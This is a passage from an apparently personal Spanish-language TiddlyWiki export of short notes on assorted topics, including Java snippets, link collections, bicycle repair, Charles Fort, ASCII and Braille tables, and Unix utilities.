               .append(HEXES[(b ) & 0xF]);
        }
        return hex.toString();
    }catch(Exception e){
        return null;
    }
}
</code>

! Referencias
* Conversión de byte a string hexadecimal: http://rgagnon.com/javadetails/java-0596.html
<<showtoc>>
!Descripción
<part descripcion>
Descripción de la sección
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki
* Hacking de cámaras Canon:
** Wiki: http://chdk.wikia.com/wiki/CHDK
** Foro: http://chdk.setepontos.com/
** Últimos firwares: http://mighty-hoernsche.de/
** SD 1200 IS (IXUS 95): http://chdk.setepontos.com/index.php/topic,4324.new.html
** CHDK-Shell (software): http://chdk.wikia.com/wiki/Chdk-shell
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Captura de paquetes ^^[[<editar>|$1]]^^
Tal como hace la famosa herramienta "firesheep", se pueden capturar paquetes con Javascript y la ayuda de node.js
http://howtonode.org/capturing-packets-in-javascript
! Introducción
La carga de ficheros de propiedades es un quebradero de cabeza para los programadores [[Java]]. El concepto es sencillo, pero en la realización interfieren muchos factores inesperados que hacer que encontrar la localización del fichero de propiedades sea una ardua tarea.

! Solución
El siguiente ejemplo sirve para una aplicación web:
<code java>
public static void loadProperties() {
    try {
        configProperties = new Properties();
        InputStream istream = Util.class.getResourceAsStream("/WEB-INF/classes/"+PROPERTIES_FILE);
        configProperties.load(istream);
    } catch (Exception e) {
        log.error("Error en configureProperties: " + e, e);
    }
}
</code>
!!Centrar la rueda sin que roce los frenos^^[[<editar>|$1]]^^
# Colocar el buje (el eje) de la rueda en su hueco correspondiente en la horquilla abriendo los frenos y desenroscando un poco el cierre rápido si es necesario
# No apretar el cierre rápido
# Volver a colocar los frenos (pasar la presilla del cable por la patilla del freno)
# Frenar con fuerza
# Sin soltar el freno, levantar la bici y dar algunos golpecitos con la rueda en el suelo para que la rueda asiente
# Volver a levantar la bici y, sin soltar el freno apretar el cierre rápido de la rueda
//Extraido de //http://www.rodadas.net/2008/09/04/como-centrar-la-rueda-en-la-horquilla/
! Biografía
La vida de este hombre se basó en una máxima: el absoluto escepticismo, tanto hacia la ciencia como hacia lo paranormal. Para él, lo fundamental eran los hechos. La ciencia de la época era demasiado ortodoxa para él, y criticó muchas veces que los científicos adaptaran datos para adecuarlos a sus predicciones en vez de a observaciones evidentes. Para Charles Fort lo más importante era lo evidente y tangible o, como decía él, "la importancia de los hechos".

En su faceta literaria, se dedicó a recoger historias "extrañas" (hoy en día lo llamaríamos "expedientes X") y a publicarlas sin hacer juicios de valor sobre la naturaleza de los hechos. Publicó 4 libros de colecciones de este tipo de relatos.

Su oposición a la ciencia excesivamente estricta e inflexible y las colecciones de "historias extrañas" que publicó, han hecho pensar a mucha gente que este hombre era un amante de lo paranormal y creyente de lo que suele llamarse "pseudociencias", pero nada más lejos de la realidad. Charles Fort se preocupaba en recoger hechos que la ciencia desdeñaba por no poder explicarlos, pero no les daba una explicación paranormal. Como buen escéptico creía que cualquier teoría podía ser posible y que sólo se podía tener una certeza relativa sobre la veracidad de las mismas. Dar una explicación paranormal como definitiva iría contra sus más arraigados principios.

Hay que tener en cuenta también la situación del mundo científico de la época para comprender mejor sus ideas y su oposición a la "ciencia estricta". En esa época la mayor parte de los científicos estaban convencidos de que todo podía reducirse a fórmulas matemáticas y que la mecánica newtoniana regía férreamente el universo. Un ejemplo famoso fue cuando en 1934 unos científicos franceses dictaminaron que los abejorros no podía volar, porque unas alas tan pequeñas no podían sustentar su peso.

En este entorno de ciencia estricta y hostil surgió una corriente de escritores de literatura fantástica que promovía la imaginación como contrapunto al estricto academicismo.

Las historias extrañas e inquietantes recogidas por este escritor sirvieron de inspiración a otros literatos como [[H. P. Lovecraft|http://es.wikipedia.org/wiki/H._P._Lovecraft]] o el recientemente fallecido [[John A. Keel|http://www.absoluteastronomy.com/topics/John_Keel]].

! Legado
Su fuerte personalidad y sus ideas escépticas atrajeron hacia su obra y su figura a multitud de intelectuales coetáneos, de tal forma que algunos llegaron a fundar "sociedades fortianas" dedicadas a la recopilación y divulgación de las historias que hicieron famoso a Charles Fort, bien fuera en formato de revista o de libros, aunque quien quizás haya mantenido mejor la esencia "fortiana" ha sido el escritor estadounidense [[William R. Corliss]].

! Más información
* http://es.wikipedia.org/wiki/Charles_Fort
* http://www.skepdic.com/fortean.html
<<showtoc>>
!Descripción
<part descripcion>
Todo relacionado con el mundo de la bicicleta
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ciclismo

!! Información útil
* Guía de cicloturismo: http://www.rodadas.net/guia-cicloturismo/
* Guía de mecánica sencilla: http://bikebooboos.com/default.aspx

!! Asociaciones
* Asociación cicloturista Pedalibre: http://www.pedalibre.org


</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre ciencias.
</part>
!Enlaces
<part enlaces>
!! General:
* Artículo de la Wikipedia sobre Ciencia: http://es.wikipedia.org/wiki/Ciencia
* Artículo de la Wikipedia sobre Tecnología: http://es.wikipedia.org/wiki/Tecnolog%C3%ADa
* Artículo de la Wikipedia sobre ingeniería: http://es.wikipedia.org/wiki/Ingenier%C3%ADa
* Portal de ciencias naturales y formales: http://es.wikipedia.org/wiki/Portal:Ciencias_naturales_y_formales
* Portal de ciencias humanas y sociales: http://es.wikipedia.org/wiki/Portal:Ciencias_humanas_y_sociales
* Portal de tecnología: http://es.wikipedia.org/wiki/Portal:Tecnolog%C3%ADa
* Portal de ingeniería: http://es.wikipedia.org/wiki/Portal:Ingenier%C3%ADa

!! [[OCW]]: 
* Listado con todas las universidades adheridas: http://www.ocwconsortium.org/courses/ocwsites
* Universidad de Stanford: http://see.stanford.edu/see/courses.aspx
* Instituto Tecnológico de Massachussets (MIT): http://ocw.mit.edu/OcwWeb/web/courses/courses/index.htm
* Algunos cursos del MIT traducidos por Universia: http://mit.ocw.universia.net/
* Cursos de universidades españolas: http://ocw.universia.net/es/buscar-por-areas.php
* Cursos online de la Universidad de Navarra: http://www.tecnun.es/tecnunonline/cursos.htm

!! [[OVW]]:
* Universidad de Navarra: http://www.tecnun.es/ovw/

!! Apuntes de carreras:
* Ingeniería Técnica Informática de la UNED: http://wainu.ii.uned.es:8081/WAINU/ingenierias-tecnicas
* Ingeniería Informática de la UNED: http://wainu.ii.uned.es:8081/WAINU/ing_informatica
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre teoría de la computación, autómatas, computabilidad, complejidad, codificaciones, matemáticas, etc.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Teor%C3%ADa_de_la_computaci%C3%B3n

!! Complejidad
* Complexity and Computation: http://greenteapress.com/complexity/html/index.html

!! Matemáticas
[[Matemáticas para Informática]]

!! Memoria y sistemas de almacenamiento
* Lo que todo programador debería saber sobre la memoria: http://lwn.net/Articles/250967/
* Page Cache, the Affair Between Memory and Files: http://duartes.org/gustavo/blog/post/page-cache-the-affair-between-memory-and-files

!! Programación de videojuegos
* Las 10 páginas que todo programador de videojuegos debería conocer: http://www.genbetadev.com/programacion-de-videojuegos/10-sitios-que-todo-programador-de-videojuegos-deberia-conocer
* Algoritmos usados en la programación de juegos: http://www-cs-students.stanford.edu/~amitp/gameprog.html
* Juegos y juguetes: http://www.aaai.org/AITopics/pmwiki/pmwiki.php/AITopics/VideoGamesAndToys
* Todos los artículos de Hobby Game Dev: http://gamedevlessons.com/?page=free
* Game Programming Fundamentals: http://www.hobbygamedev.com/articles/vol5/game-programming-fundamentals/
* Tutorial, "Simple Breakout with Allegro": http://www.hobbygamedev.com/articles/vol5/simple-breakout-game-source-c-allegro/
* Matemáticas para la programación de juegos: http://www.hobbygamedev.com/articles/vol11/math-for-videogame-making-or-will-i-need-to-use-calculus/
* Tutorial para hacer un sencillo minecraft: http://www.sea-of-memes.com/
* The Python Game Book: http://thepythongamebook.com/en:start
* Guía del visitante de Hobby Game Dev: http://www.hobbygamedev.com/spx/first-time-visitor-guide-to-hobbygamedev/
* Killer Game Programming in Java: http://fivedots.coe.psu.ac.th/~ad/jg/index.html
* Mappy, editor de mapas 2D: http://tilemap.co.uk/mappy.php
* Libros de curso de Experto en Desarrollo de Videojuegos: http://www.cursodesarrollovideojuegos.com/#features
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Información sobre ciencias relacionadas con el planeta tierra en su aspecto no biológico. Algunas de estas ciencias son la meteorología, la geología, etc.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Enlace 1: http://example.com
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Ciencias que estudian al ser humano desde un punto de vista antropológico, psicológico o estadístico.
</part>
!Enlaces
<part enlaces>
* ''misc:''
** Artículo de la wikipedia: http://es.wikipedia.org/wiki/Ciencias_sociales
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Las declaraciones más absurdas
//extraido de: [[http://www.publico.es/internacional/250010/george/bush/encabeza/lista/declaraciones/absurdas]] //
# ''George W. Bush'', presidente de EEUU, el 5 de agosto de 2004: "Nuestros enemigos son innovadores y tienen recursos, y nosotros también. No dejan de pensar nunca en nuevas maneras de hacer daño a nuestro país y a nuestra gente, y nosotros tampoco".
# ''Arnold Schwarzenegger'', gobernador de California, en la campaña electoral de 2003: "Creo que el matrimonio gay debería ser entre un hombre y una mujer".
# ''Donald Rumsfeld'', secretario estadounidense de Defensa, el 12 de febrero de 2002: "Las informaciones que dicen que algo no ha pasado siempre me resultan interesantes. Hay cosas que sabemos que sabemos. También hay cosas desconocidas conocidas, es decir que sabemos que hay algunas cosas que no sabemos. Pero también hay cosas desconocidas que desconocemos, las que no sabemos que no sabemos".
# ''Murray Walker'', comentarista de automovilismo: "El coche que va en cabeza es absolutamente único, excepto por el que va detrás, que es idéntico"
# ''John Motson'', comentarista de fútbol: "Para aquellos que estén viendo el partido en blanco y negro, los Spurs van de amarillo".
# ''Gordon Brown'', primer ministro británico, 1 de julio de 2009: "El gasto público total seguirá aumentando y será de un 0% en el periodo 2013-2014".
# ''Bill Clinton'' en 1998 durante su testimonio ante el gran jurado del 'caso Lewinsky': "Depende de cuál sea es el significado de la palabra 'es'. Si 'es' significa 'es y un nunca ha sido', eso es una cosa; si significa 'no hay ninguno', entonces fue una declaración completamente cierta".
# ''Eric Cantona'', futbolista, en 1995: "Cuando las gaviotas siguen a la barca de arrastre, es porque piensan que las sardinas van a ser arrojadas al mar".
# ''George W. Bush'', presidente estadounidense, el 22 de julio de 2001: "Yo sé lo que creo. Seguiré expresando lo que creo y en lo que creo. Creo que lo que creo es lo correcto".
# ''Boris Johnson'', alcalde de Londres, en 2003: "No podría discrepar menos contigo"
! Introducción

! Referencias
* html5lig parseador HTML resistente a documentos inválidos: http://code.google.com/p/html5lib/
* Mechanize: http://wwwsearch.sourceforge.net/mechanize/
* Mechanoid: http://pypi.python.org/pypi/mechanoid
* http://oreilly.com/pub/a/python/2000/06/21/webclient.html
* http://www.google.es/url?sa=t&source=web&ct=res&cd=14&ved=0CF8QFjAN&url=http%3A%2F%2Fcyberchuck-video.homeip.net%2Fwordpress%2F%3Fp%3D1529&ei=75naS__0FaKCnQOg7qxc&usg=AFQjCNHQC5StsVeqFNf9UAthQLXTQ0gXtQ&sig2=ijgrdm7nlpTkn0L1LWt56A
* http://www.akasig.org/2004/12/29/web-scraping-with-python-part-1-crawling/
* http://pypi.python.org/pypi/mechanoid
!Descripción
<part descripcion>
Información sobre el lenguaje funcional Clojure
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Clojure
** Página principal: http://clojure.org/
* ''Documentación:''
** Functional Programming for the [[JVM]]: http://java.ociweb.com/mark/clojure/article.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
/***
|Name:|CloseOnCancelPlugin|
|Description:|Closes the tiddler if you click new tiddler then cancel. Default behaviour is to leave it open|
|Version:|3.0.1 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#CloseOnCancelPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.commands.cancelTiddler,{

	handler_mptw_orig_closeUnsaved: config.commands.cancelTiddler.handler,

	handler: function(event,src,title) {
		this.handler_mptw_orig_closeUnsaved(event,src,title);
		if (!store.tiddlerExists(title) && !store.isShadowTiddler(title))
			story.closeTiddler(title,true);
	 	return false;
	}

});

//}}}
!Descripción
<part descripcion>
Todo sobre el arte culinario.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Arte_culinario

* ''Páginas sobre cocina:''
** La cocina de Karlos Arguiñano: http://www.hogarutil.com/Cocina/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
El cocodrilo marino es el tipo de cocodrilo más grande conocido, y puede llegar a medir entre 6 y 8 metros de largo. Su nombre proviene de su capacidad para desplazarse y cazar tanto por agua dulce como salada. A través del mar puede recorrer grandes distancias y puede ser tan peligroso para los bañistas como los tiburones más agresivos. Esta capacidad para sobrevivir en el mar es probablemente la razón por la que se encuentra tan extendido en las zonas cálidas.

Su distribución es muy extensa, principalmente entre los océanos índico y pacífico. Son muy comunes en Australia.

El cocodrilo marino es una de las especies animales más peligrosas para el ser humano, y se cuentra entre los mayores depredadores de humanos del mundo. Cada año en torno a 1000 personas mueren devoradas por estos animales.

! Más información
* Wikipedia: http://es.wikipedia.org/wiki/Crocodylus_porosus
* Más información: http://www.damisela.com/zoo/rep/cocodrilos/mar/index.htm
! Introducción
La codificación ASCII es una forma de codificar caracteres usando 7 bits. Los primeros 128 caracteres (7 bits) son comunes a todos los idiomas y conforman el estándar ASCII, y los otros 127 son específicos para cada idioma y se interpretan según unas tablas denominadas "páginas de códigos". Esta codificación tiene serias carencias, como por ejemplo idiomas con más de 127 símbolos propios, como el chino, no pueden codificar todos sus símbolos.

!Tabla de caracteres ASCII
<part tabla>
| !Dec | !Hex | !Name | !Description |h
|>|>|>| CACTERES ESPECIALES |h
| 0 | 0x00 |{{{NUL }}} | null character |
| 1 | 0x01 |{{{SOH }}} | start of header |
| 2 | 0x02 |{{{STX }}} | start of text |
| 3 | 0x03 |{{{ETX }}} | end of text |
| 4 | 0x04 |{{{EOT }}} | end of transmission |
| 5 | 0x05 |{{{ENQ }}} | enquiry |
| 6 | 0x06 |{{{ACK }}} | acknowledge |
| 7 | 0x07 |{{{BEL }}} | bell (ring) |
| 8 | 0x08 |{{{BS }}} | backspace |
| 9 | 0x09 |{{{HT }}} | horizontal tab |
| 10 | 0x0A |{{{LF }}} | line feed |
| 11 | 0x0B |{{{VT }}} | vertical tab |
| 12 | 0x0C |{{{FF }}} | form feed |
| 13 | 0x0D |{{{CR }}} | carriage return |
| 14 | 0x0E |{{{SO }}} | shift out |
| 15 | 0x0F |{{{SI }}} | shift in |
| 16 | 0x10 |{{{DLE }}} | data link escape |
| 17 | 0x11 |{{{DC1 }}} | device control 1 |
| 18 | 0x12 |{{{DC2 }}} | device control 2 |
| 19 | 0x13 |{{{DC3 }}} | device control 3 |
| 20 | 0x14 |{{{DC4 }}} | device control 4 |
| 21 | 0x15 |{{{NAK }}} | negative acknowledge |
| 22 | 0x16 |{{{SYN }}} | synchronize |
| 23 | 0x17 |{{{ETB }}} | end transmission block |
| 24 | 0x18 |{{{CAN }}} | cancel |
| 25 | 0x19 |{{{EM }}} | end of medium |
| 26 | 0x1A |{{{SUB }}} | substitute |
| 27 | 0x1B |{{{ESC }}} | escape |
| 28 | 0x1C |{{{FS }}} | file separator |
| 29 | 0x1D |{{{GS }}} | group separator |
| 30 | 0x1E |{{{RS }}} | record separator |
| 31 | 0x1F |{{{US }}} | unit separator |
|>|>|>| CACTERES IMPRIMIBLES |h
| 32 | 0x20 | {{{  }}} | space |
| 33 | 0x21 | {{{! }}} | exclamation mark |
| 34 | 0x22 | {{{" }}} | quotation mark |
| 35 | 0x23 | {{{# }}} | number sign |
| 36 | 0x24 | {{{$ }}} | dollar sign |
| 37 | 0x25 | {{{% }}} | percent sign |
| 38 | 0x26 | {{{& }}} | ampersand |
| 39 | 0x27 | {{{' }}} | apostrophe |
| 40 | 0x28 | {{{( }}} | left parenthesis |
| 41 | 0x29 | {{{) }}} | right parenthesis |
| 42 | 0x2A | {{{* }}} | asterisk |
| 43 | 0x2B | {{{+ }}} | plus sign |
| 44 | 0x2C | {{{, }}} | comma |
| 45 | 0x2D | {{{- }}} | hyphen |
| 46 | 0x2E | {{{. }}} | period |
| 47 | 0x2F | {{{/ }}} | slash |
| 48 | 0x30 | {{{0 }}} | digit 0 |
| 49 | 0x31 | {{{1 }}} | digit 1 |
| 50 | 0x32 | {{{2 }}} | digit 2 |
| 51 | 0x33 | {{{3 }}} | digit 3 |
| 52 | 0x34 | {{{4 }}} | digit 4 |
| 53 | 0x35 | {{{5 }}} | digit 5 |
| 54 | 0x36 | {{{6 }}} | digit 6 |
| 55 | 0x37 | {{{7 }}} | digit 7 |
| 56 | 0x38 | {{{8 }}} | digit 8 |
| 57 | 0x39 | {{{9 }}} | digit 9 |
| 58 | 0x3A | {{{: }}} | colon |
| 59 | 0x3B | {{{; }}} | semicolon |
| 60 | 0x3C | {{{< }}} | less-than |
| 61 | 0x3D | {{{= }}} | equals-to |
| 62 | 0x3E | {{{> }}} | greater-than |
| 63 | 0x3F | {{{? }}} | question mark |
| 64 | 0x40 | {{{@ }}} | at sign |
| 65 | 0x41 | {{{A }}} | uppercase A |
| 66 | 0x42 | {{{B }}} | uppercase B |
| 67 | 0x43 | {{{C }}} | uppercase C |
| 68 | 0x44 | {{{D }}} | uppercase D |
| 69 | 0x45 | {{{E }}} | uppercase E |
| 70 | 0x46 | {{{F }}} | uppercase F |
| 71 | 0x47 | {{{G }}} | uppercase G |
| 72 | 0x48 | {{{H }}} | uppercase H |
| 73 | 0x49 | {{{I }}} | uppercase I |
| 74 | 0x4A | {{{J }}} | uppercase J |
| 75 | 0x4B | {{{K }}} | uppercase K |
| 76 | 0x4C | {{{L }}} | uppercase L |
| 77 | 0x4D | {{{M }}} | uppercase M |
| 78 | 0x4E | {{{N }}} | uppercase N |
| 79 | 0x4F | {{{O }}} | uppercase O |
| 80 | 0x50 | {{{P }}} | uppercase P |
| 81 | 0x51 | {{{Q }}} | uppercase Q |
| 82 | 0x52 | {{{R }}} | uppercase R |
| 83 | 0x53 | {{{S }}} | uppercase S |
| 84 | 0x54 | {{{T }}} | uppercase T |
| 85 | 0x55 | {{{U }}} | uppercase U |
| 86 | 0x56 | {{{V }}} | uppercase V |
| 87 | 0x57 | {{{W }}} | uppercase W |
| 88 | 0x58 | {{{X }}} | uppercase X |
| 89 | 0x59 | {{{Y }}} | uppercase Y |
| 90 | 0x5A | {{{Z }}} | uppercase Z |
| 91 | 0x5B | {{{[ }}} | left square bracket |
| 92 | 0x5C | {{{\ }}} | backslash |
| 93 | 0x5D | {{{] }}} | right square bracket |
| 94 | 0x5E | {{{^ }}} | caret |
| 95 | 0x5F | {{{_ }}} | underscore |
| 96 | 0x60 | {{{` }}} | grave accent |
| 97 | 0x61 | {{{a }}} | lowercase a |
| 98 | 0x62 | {{{b }}} | lowercase b |
| 99 | 0x63 | {{{c }}} | lowercase c |
| 100 | 0x64 | {{{d }}} | lowercase d |
| 101 | 0x65 | {{{e }}} | lowercase e |
| 102 | 0x66 | {{{f }}} | lowercase f |
| 103 | 0x67 | {{{g }}} | lowercase g |
| 104 | 0x68 | {{{h }}} | lowercase h |
| 105 | 0x69 | {{{i }}} | lowercase i |
| 106 | 0x6A | {{{j }}} | lowercase j |
| 107 | 0x6B | {{{k }}} | lowercase k |
| 108 | 0x6C | {{{l }}} | lowercase l |
| 109 | 0x6D | {{{m }}} | lowercase m |
| 110 | 0x6E | {{{n }}} | lowercase n |
| 111 | 0x6F | {{{o }}} | lowercase o |
| 112 | 0x70 | {{{p }}} | lowercase p |
| 113 | 0x71 | {{{q }}} | lowercase q |
| 114 | 0x72 | {{{r }}} | lowercase r |
| 115 | 0x73 | {{{s }}} | lowercase s |
| 116 | 0x74 | {{{t }}} | lowercase t |
| 117 | 0x75 | {{{u }}} | lowercase u |
| 118 | 0x76 | {{{v }}} | lowercase v |
| 119 | 0x77 | {{{w }}} | lowercase w |
| 120 | 0x78 | {{{x }}} | lowercase x |
| 121 | 0x79 | {{{y }}} | lowercase y |
| 122 | 0x7A | {{{z }}} | lowercase z |
| 123 | 0x7B | {{{{ }}} | left curly brace |
| 124 | 0x7C | {{{|}}} | vertical bar |
| 125 | 0x7D | {{{} }}} | right curly brace |
| 126 | 0x7E | {{{~ }}} | tilde |
|>|>|>| CARACTER DE BORRADO |h
| 127 | 0x7F | {{{DEL }}} | delete (rubout) |
</part>

! Referecias
* http://es.wikipedia.org/wiki/ASCII
* http://www.asciitable.com/
! Introducción
El sistema de codificación es un sistema que convierte caracteres de texto en bloques de puntos en relieve, para que puedan ser leidos por ciegos y otras personas con deficiencias visuales. Fue inventado en 1825 por el profesor francés Louis Braille.

El sistema Braille no es un idioma, si no un diccionario, por lo que para cada lengua puede haber codificaciones distintas de Braille. Todos los ejemplos aquí recogidos son aptos para el español.

Cada carácter se compone de una matriz de 6 puntos. Para poder codificar los 256 caracteres del estándar ASCII se aumentó amplió el sistema básico con dos puntos más. No obstante, el de 6 puntos puede considerarse como el "estándar". Según que puntos estén en relieve en cada bloque, representa uno u otro caracter.

Los números se representan utilizando las 10 primeras letras del alfabeto y anteponiendo un símbolo especial.

! Alfabeto español
!! Nomenclatura
Cada símbolo se representa con un bloque de 6 puntos. El carácter {{{O}}} representa un punto NO marcado, y el carácter {{{*}}} uno marcado. Por ejemplo, un bloque sin ningún punto marcado:
{{{
1 OO 4
2 OO 5
3 OO 6
}}}
!! Tabla
| !a,1 | !b,2 | !c,3 | !d,4 | !e,5 | !f,6 | !g,7 | !h,8 | !i,9 | !j,0 |h
| <<tiddler ./a>> | <<tiddler ./b>> | <<tiddler ./c>> | <<tiddler ./d>> | <<tiddler ./e>> | <<tiddler ./f>> | <<tiddler ./g>> | <<tiddler ./h>> | <<tiddler ./i>> | <<tiddler ./j>> |
| !k | !l | !m | !n | !o | !p | !q | !r | !s | !t |h
|<<tiddler ./k>>|<<tiddler ./l>>|<<tiddler ./m>>|<<tiddler ./n>>|<<tiddler ./o>>|<<tiddler ./p>>|<<tiddler ./q>>|<<tiddler ./r>>|<<tiddler ./s>>|<<tiddler ./t>>|
| !u | !v | !c | !y | !z |h
|<<tiddler ./u>>|<<tiddler ./v>>|<<tiddler ./x>>|<<tiddler ./y>>|<<tiddler ./z>>|
| !ñ | !á | !é | !í | !ó | !ú | !ü |h
|<<tiddler ./ñ>>|<<tiddler ./á>>|<<tiddler ./é>>|<<tiddler ./í>>|<<tiddler ./ó>>|<<tiddler ./ú>>|<<tiddler ./ü>>|
| !num | !may | !. | !, | !: | !; | !- | !* | !¿? | ! ¡! |h
|<<tiddler ./numero>>|<<tiddler ./mayusculas>>|<<tiddler ./punto>>|<<tiddler ./coma>>|<<tiddler ./dos_puntos>>|<<tiddler ./punto_coma>>|<<tiddler ./guion>>|<<tiddler ./asterisco>>|<<tiddler ./interrogacion>>|<<tiddler ./exclamacion>>|

! Referecias
* http://es.wikipedia.org/wiki/Braille_(lectura)
* http://www.funcaragol.org/html/alfbradl.htm
* http://www.braillevirtual.fe.usp.br/es/index.html
* http://es.wikipedia.org/wiki/Braille_(lectura)#Alfabeto_Braille_espa.C3.B1ol_en_codificaci.C3.B3n_Unicode
/% -------- %/
/% CACTERES %/
/% -------- %/
<part vacio hidden>
{{{
OO
OO
OO
}}}
</part>
<part a hidden>
{{{
*O
OO
OO
}}}
</part>
<part b hidden>
{{{
*O
*O
OO
}}}
</part>
<part c hidden>
{{{
**
OO
OO
}}}
</part>
<part d hidden>
{{{
**
O*
OO
}}}
</part>
<part e hidden>
{{{
*O
O*
OO
}}}
</part>
<part f hidden>
{{{
**
*O
OO
}}}
</part>
<part g hidden>
{{{
**
**
OO
}}}
</part>
<part h hidden>
{{{
*O
**
OO
}}}
</part>
<part i hidden>
{{{
O*
*O
OO
}}}
</part>
<part j hidden>
{{{
O*
**
OO
}}}
</part>

<part k hidden>
{{{
*O
OO
*O
}}}
</part>
<part l hidden>
{{{
*O
*O
*O
}}}
</part>
<part m hidden>
{{{
**
OO
*O
}}}
</part>
<part n hidden>
{{{
**
O*
*O
}}}
</part>
<part ñ hidden>
{{{
**
**
O*
}}}
</part>
<part o hidden>
{{{
*O
O*
*O
}}}
</part>
<part p hidden>
{{{
**
*O
*O
}}}
</part>
<part q hidden>
{{{
**
**
*O
}}}
</part>
<part r hidden>
{{{
*O
**
*O
}}}
</part>
<part s hidden>
{{{
O*
*O
*O
}}}
</part>
<part t hidden>
{{{
O*
**
*O
}}}
</part>
<part u hidden>
{{{
*O
OO
**
}}}
</part>
<part v hidden>
{{{
*O
*O
**
}}}
</part>
<part w hidden>
{{{
O*
**
O*
}}}
</part>
<part x hidden>
{{{
**
OO
**
}}}
</part>
<part y hidden>
{{{
**
O*
**
}}}
</part>
<part z hidden>
{{{
*O
O*
**
}}}
</part>

<part á hidden>
{{{
*O
**
**
}}}
</part>
<part é hidden>
{{{
O*
*O
**
}}}
</part>
<part í hidden>
{{{
O*
OO
*O
}}}
</part>
<part ó hidden>
{{{
O*
OO
**
}}}
</part>
<part ú hidden>
{{{
O*
**
**
}}}
</part>
<part ü hidden>
{{{
*O
**
O*
}}}
</part>
<part numero hidden>
{{{
O*
O*
**
}}}
</part>
<part mayusculas hidden>
{{{
O*
OO
O*
}}}
</part>
<part punto hidden>
{{{
OO
OO
*O
}}}
</part>
<part coma hidden>
{{{
OO
*O
OO
}}}
</part>
<part punto_coma hidden>
{{{
OO
*O
*O
}}}
</part>
<part dos_puntos hidden>
{{{
OO
**
OO
}}}
</part>
<part guion hidden>
{{{
OO
OO
**
}}}
</part>
<part asterisco hidden>
{{{
OO
O*
*O
}}}
</part>
<part interrogacion hidden>
{{{
OO
*O
O*
}}}
</part>
<part exclamacion hidden>
{{{
OO
**
*O
}}}
</part>
<part comillas hidden>
{{{
OO
*O
**
}}}
</part>
<part abrir_parentesis hidden>
{{{
*O
*O
O*
}}}
</part>
<part cerrar_parentesis hidden>
{{{
O*
O*
*O
}}}
</part>
Name: MiPaleta
Background: #fff
Foreground: #000
PrimaryPale: #8cf
PrimaryLight: #18f
PrimaryMid: #04b
PrimaryDark: #014
SecondaryPale: #CCE9FF
SecondaryLight: #87CBFF
SecondaryMid: #449BDD
SecondaryDark: #115488
TertiaryPale: #eee
TertiaryLight: #ccc
TertiaryMid: #999
TertiaryDark: #666
Error: #f88
!!Coloreado de la salida por consola^^[[<editar>|$1]]^^
En la siguiente página muestran como hacerlo:
http://plumberjack.blogspot.com/2010/12/colorizing-logging-output-in-terminals.html
!Comantos básicos de UNIX

(extraido de http://en.wikipedia.org/wiki/List_of_Unix_Utilidades )

|>|>| !IEEE Std 1003.1-2001 Utilidades |h
|!Nombre |!Categoría |!Descripción |
|[[admin]] |[[SCCS|http://en.wikipedia.org/wiki/Source_Code_Control_System]] |Create and administer [[SCCS|http://en.wikipedia.org/wiki/Source_Code_Control_System]] files |
|[[Alias|alias]]|Misc |Define or display aliases |
|[[ar|ar]]|Misc|Create and maintain [[Library(computing)|library]] archives|
|[[asa|asa]]|Procesamiento de texto|Interpret carriage-control characters|
|[[at |at]]|Gestión de procesos|Execute commands at a later time|
|[[awk|TutorialAwk]]|Procesamiento de texto|Pattern scanning and processing language|
|[[basename]]|Sistema de archivos|Return non-directory portion of a pathname|
|[[batch|batch]]|Gestión de procesos|Schedule commands to be executed in a batch queue|
|[[bc|TutorialBc]]|Misc|[[Arbitrary-precision arithmetic]] language|
|[[bg|bg]]|Gestión de procesos|Run jobs in the background|
|[[break|break]]|Programación en consola|Exit from [[forloop|for]], [[whileloop|while]], or [[until]] [[Controlflow#Loops|loop]]|
|[[c99|c99]]|Programación en C|[[compiler|Compile]] standard [[C|C]] programs|
|[[cal|cal]]|Misc|Print a calendar|
|[[cat|cat]]|Sistema de archivos|Concatenate and print files|
|[[chdir|cd]]|Sistema de archivos|Change the working directory|
|[[cflow]]|Programación en C|Generate a C-language [[flowgraph]]|
|[[chgrp]]|Sistema de archivos|Change the file group ownership|
|[[chmod]]|Sistema de archivos|Change the file modes/attributes/permissions|
|[[chown]]|Sistema de archivos|Change the file ownership|
|[[cksum]]|Sistema de archivos|Write file [[checksums]] and sizes|
|[[cmp|cmp]]|Sistema de archivos|Compare two files|
|[[colon|colon]]|Programación en consola|Null utility|
